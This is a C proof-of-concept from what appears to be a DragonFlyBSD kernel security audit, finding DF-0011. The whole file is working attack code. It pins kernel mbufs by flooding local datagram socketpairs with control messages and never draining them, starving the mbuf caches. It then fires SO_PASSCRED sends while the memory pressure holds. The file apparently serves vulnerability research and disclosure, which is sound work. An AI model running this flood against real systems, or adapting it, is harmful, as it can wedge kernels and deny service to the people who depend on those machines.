DragonFlyBSD Kernel Audit
DF-0011 / flood_trigger.c
← back to finding ↓ download raw
/*
 * DF-0011 flood+trigger monitor helper.
 *
 * Floods AF_UNIX SOCK_DGRAM socketpairs with control-bearing datagrams
 * (each pins 1 plain MT_CONTROL mbuf + 1 pkthdr data mbuf), without
 * draining, to exhaust the plain "mbuf" objcache that sbcreatecontrol()
 * draws from. Then fires no-control SO_PASSCRED trigger sends.
 *
 * Used together with a root `vmstat -z` poller to show the plain & pkthdr
 * caches draining together (which is why the trigger wedges instead of
 * panicking: see VERDICT.md).
 *
 * Build: cc -o flood_trigger flood_trigger.c -lpthread
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#define NHOG 6

static volatile int g_stop = 0;

/* One flood thread holds many socketpairs OPEN and filled, accumulating
 * pinned plain (MT_CONTROL) + pkthdr mbufs. Because each datagram carries
 * one control mbuf, the plain:pkthdr ratio is 1:1 -- exhausting the plain
 * cache (which sbcreatecontrol draws from) also exhausts the pkthdr cache
 * (which the trigger's data mbuf draws from), so the trigger wedges instead
 * of reaching uipc_send. See VERDICT.md. */
static void *
flood(void *arg)
{
	char cmsgbuf[CMSG_SPACE(sizeof(int))];
	struct cmsghdr *cm = (struct cmsghdr *)cmsgbuf;
	cm->cmsg_level = SOL_SOCKET;
	cm->cmsg_type = 0xdead;		/* unknown type: accepted, kept as plain MT_CONTROL */
	cm->cmsg_len = CMSG_LEN(sizeof(int));

	struct iovec iov = { "x", 1 };
	struct msghdr mh;
	memset(&mh, 0, sizeof(mh));
	mh.msg_iov = &iov;
	mh.msg_iovlen = 1;
	mh.msg_control = cmsgbuf;
	mh.msg_controllen = CMSG_LEN(sizeof(int));

	int bs = 1024 * 1024;
	int held[4096][2];
	int n = 0;
	int round;

	for (round = 0; !g_stop && n < 4096; round++) {
		int s[2];
		if (socketpair(AF_LOCAL, SOCK_DGRAM, 0, s) != 0) {
			usleep(1000);
			continue;
		}
		setsockopt(s[0], SOL_SOCKET, SO_RCVBUF, &bs, sizeof(bs));
		setsockopt(s[1], SOL_SOCKET, SO_SNDBUF, &bs, sizeof(bs));
		/* flood the receiver buffer with control-bearing dgrams, then
		 * LEAVE the pair open so mbufs stay pinned. */
		while (sendmsg(s[1], &mh, MSG_DONTWAIT) > 0)
			;
		held[n][0] = s[0];
		held[n][1] = s[1];
		n++;
		if ((n % 64) == 0)
			fprintf(stderr, "[flood] %d pairs pinned\n", n);
	}
	/* spin holding them until stopped */
	while (!g_stop)
		sleep(1);
	while (n > 0) {
		n--;
		close(held[n][0]);
		close(held[n][1]);
	}
	return NULL;
}

int
main(void)
{
	pthread_t t[NHOG];
	int i;
	for (i = 0; i < NHOG; i++)
		pthread_create(&t[i], NULL, flood, NULL);

	/* let the flood build pressure */
	sleep(15);

	/* set up the SO_PASSCRED trigger and fire */
	int trig[2];
	int on = 1;
	if (socketpair(AF_LOCAL, SOCK_DGRAM, 0, trig) != 0) {
		perror("socketpair trig"); return 1;
	}
	setsockopt(trig[0], SOL_SOCKET, SO_PASSCRED, &on, sizeof(on));

	fprintf(stderr, "[*] firing SO_PASSCRED triggers under pressure...\n");
	int got = 0;
	for (i = 0; i < 100000; i++) {
		if (send(trig[1], "x", 1, MSG_DONTWAIT) == 1) {
			char rb[16];
			recv(trig[0], rb, sizeof(rb), MSG_DONTWAIT);
			got++;
		}
	}
	g_stop = 1;
	for (i = 0; i < NHOG; i++) pthread_join(t[i], NULL);
	fprintf(stderr, "[*] fired %d triggers; if you see this, no panic.\n", got);
	return 0;
}